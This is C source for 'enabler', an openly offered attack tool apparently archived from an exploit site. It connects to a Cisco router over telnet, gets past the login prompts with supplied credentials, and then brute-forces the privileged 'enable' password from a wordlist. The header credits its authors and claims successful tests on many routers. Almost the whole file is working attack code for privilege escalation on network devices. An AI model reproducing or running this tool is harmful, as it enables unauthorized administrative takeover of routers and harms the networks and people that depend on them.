262 lines
No EOL
7.4 KiB
C
262 lines
No EOL
7.4 KiB
C
/*
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.: free source :. .: coded 4 Avatar Corp :.
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enabler.
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cisco internal bruteforcer.
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coder - norby
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concept - anyone
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this program just logs into a CISCO router and tries a list of
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passes looking for the enable one.
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it works in password-only CISCO as well in login-pass ones and
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has been succesfully tested on many 2600 and a few 12008.
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the prog's concept [bruteforcing a router for gaining enable access]
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is quite simple ...how amazing I haven't seen similar progs before!
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anti eleet&0day force ;)
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anyway... information wants to be free :)
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sciao belli
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saluti a berserker mandarine, acidcrash
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beho x la traduzione :)
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norby
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saluti a *lei*, saluti a gabriella che a capodanno
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non ha voluto lasciare il ragazzo x fare un bambino con me ;)
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saluti a tutti gli avatar, a sandman, a tutte le diecimila
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persone che conosco
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any
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saluti a Acida, storm\, Raid
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contact` norby - staff22@infinito.it anyone - anyone@anyone.org
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www.avatarcorp.org
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neural collapse _ i truly hope in this project
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v1 02/10/2k+1
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todo for v2: use of threads, implement a passlist recovery
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(very simple feature)
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <errno.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#include <signal.h>
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#define BOX "\033[0m\033[34;1m[\033[0m\033[37;1m`\033[0m\033[34;1m]"
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struct sockaddr_in addr;
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char host[100];
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struct hostent *hp;
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int sock_stat;
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int n,x;
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char **password;
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char resolve(char *inputhost) {
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int a,b,c,d;
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if (sscanf(inputhost,"%d.%d.%d.%d",&a,&b,&c,&d) !=4) {
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hp = gethostbyname(inputhost);
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if (hp == NULL) { printf("%s error on host resolving\n\033[0m\n", BOX); exit(0); }
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sprintf(host,"%d.%d.%d.%d",(unsigned char)hp->h_addr_list[0][0],
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(unsigned char)hp->h_addr_list[0][1],
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(unsigned char)hp->h_addr_list[0][2],
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(unsigned char)hp->h_addr_list[0][3]);
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}
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else { strncpy(host,inputhost,100); }
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}
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int sock(char *hostoresolve,int port) {
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int err;
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sock_stat = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
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if(sock_stat<0) { printf("%s error opening socket\n\033[0m\n", BOX); exit(0); }
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addr.sin_family = PF_INET;
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addr.sin_port = htons(port);
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addr.sin_addr.s_addr = inet_addr(host);
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err = connect(sock_stat, (struct sockaddr *) &addr, sizeof(addr));
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if (err < 0) { printf("%s error opening connection\n\033[0m\n", BOX); exit(0); }
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}
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int banner() {
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printf("\n%s enabler.\n", BOX);
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printf("%s cisco internal bruteforcer. concept by anyone\n", BOX);
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printf("%s coded by norby\n", BOX);
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}
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int usage(char *argv) { printf("%s usage: %s <ip> [-u user] <pass> <passlist> [port]\n\n\033[0m", BOX, argv); }
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void sig() {
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if(n>0) { printf("%s %i passwords tryed. no password matching. leaving\n",BOX,n); }
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printf("\n\033[0m"); exit(0);
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}
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int login(char *login, char *pass) {
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char *input = malloc(4000);
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int reqlogin;
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while (read (sock_stat, input, 4000) > 0) {
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if(strstr(input,"ogin:")||strstr(input,"sername:")) {
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if(!strcmp(login,"n0login")) {
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printf("%s username needed... give me a username next time :)\n\n\033[0m", BOX);
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exit(0);
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}
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printf("%s login requested. sending [%s] and [%s]\n", BOX, login, pass); reqlogin=1; break;
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}
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if(strstr(input,"assword:")) { printf("%s only password needed. sending [%s]\n", BOX, pass); reqlogin=0; break; }
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bzero(input,4000);
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}
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if(reqlogin==1) {
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write(sock_stat,login,strlen(login));
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write(sock_stat,"\r\n",2);
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while(read(sock_stat,input,4000)>0) {
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if(strstr(input,"assword")); { break; }
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}
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}
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write(sock_stat,pass,strlen(pass));
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write(sock_stat,"\r\n",2);
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sleep(2);
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bzero(input,4000);
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while (read (sock_stat, input, 4000) > 0) {
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if(strstr(input,">")) { printf("%s seems we are logged in :)\n", BOX); break; }
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/* if(strstr(input,"assword:")) {
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printf("%s sorry... [%s] is not a good password for login :?n\033[0m\n",BOX,pass); exit(0);
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}*/
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if(strstr(input,"sername:")) {
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printf("%s sorry... [%s] is not a good password for login :?n\033[0m\n",BOX,pass); exit(0);
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}
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bzero(input,4000);
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}
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}
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int loadwordlist(char *list) {
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FILE *passlist;
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char buf[32], fake;
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int i,z;
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if ((passlist = fopen(list, "r")) == NULL) {
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printf("%s sorry, unable to open the passlist [%s]\n\033[0m\n", BOX,list);
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exit(0);
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}
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(void)fseek(passlist, 0L, SEEK_END); // cazz questo e' uno smanettamento mentale
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password = malloc(ftell(passlist)); // per fare allocare solo la memoria giusta x la passlist :P
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if(password == NULL) {
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printf("%s sorry, can't allocate memory for passlist. buy more ram or cut the passlist\n\033[0m\n",BOX);
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exit(0);
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}
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(void)fseek(passlist, 0L, SEEK_SET);
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while (!feof(passlist)) {
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fgets(buf, 32, passlist);
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if (buf[0] == '#' || buf[0] == '\n') continue;
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for (i = 0; i < strlen(buf); i++)
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if (buf[i] == '\n') buf[i] = '\0';
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password[x] = malloc(32);
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strcpy(password[x], buf);
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memset(buf, 0, 32);
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x++;
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}
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password[x] = 0x0;
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fclose(passlist);
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if(x<4) { printf("%s sorry, but passlist must contain at least 3 passwords. leaving \n\033[0m\n",BOX); exit(0); }
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}
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int brute() { // there is a stupid error... the last password is tryed 2 times... must be fixed... ;)
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char *input = malloc(100);
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int N;
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bzero(input,100);
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write(sock_stat,"enable",6);
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write(sock_stat,"\r\n",2);
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while(1) {
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while(read(sock_stat,input,100)>0) {
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if(n==x) { printf("%s %i passwords tried. no valid password found in the passlist\n\033[0m\n",BOX,n-1); exit(0); }
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if(n+1==x) break;
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if(strstr(input,"assword:")||strstr(input,"#")||strstr(input,">")) break;
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bzero(input,100);
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}
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if(strstr(input,"#")) { printf("%s possible password found: %s\n\033[0m\n",BOX,password[n-1]); exit(0); }
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if(strstr(input,"assword:")) {
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write(sock_stat,password[n],strlen(password[n]));
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write(sock_stat,"\r\n",2);
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n++;
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bzero(input,100);
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if(n>1) printf("%s %s... wrong password\n", BOX, password[n-2]); fflush(stdout);
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continue;
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}
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if(strstr(input,">")) {
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write(sock_stat,"enable\r\n",8); bzero(input,100);
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}
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}
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}
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int main(int argc, char *argv[]) {
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int port;
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signal(SIGINT, sig);
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banner();
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if((argc<=3)||(argc>=8)) { usage(argv[0]); exit(0); }
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if(!strcmp(argv[2],"-u")) {
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if(argc==6) { port=atoi("23"); }
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else { port=atoi(argv[6]); } // c'e' uno stupido errore qua di argc che nn ho voglia di trovare
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// c'ho cosetta nella testa :?-- Corretto :)
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printf("%s\n",BOX);
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loadwordlist(argv[5]);
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resolve(argv[1]);
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sock(host, port);
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login(argv[3],argv[4]);
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brute();
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}
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else {
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if(argc==4) { port=atoi("23"); }
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else { port=atoi(argv[4]); }
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printf("%s\n",BOX);
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loadwordlist(argv[3]);
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resolve(argv[1]);
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sock(host, port);
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login("n0login",argv[2]);
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brute();
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}
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}
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// milw0rm.com [2001-01-19]
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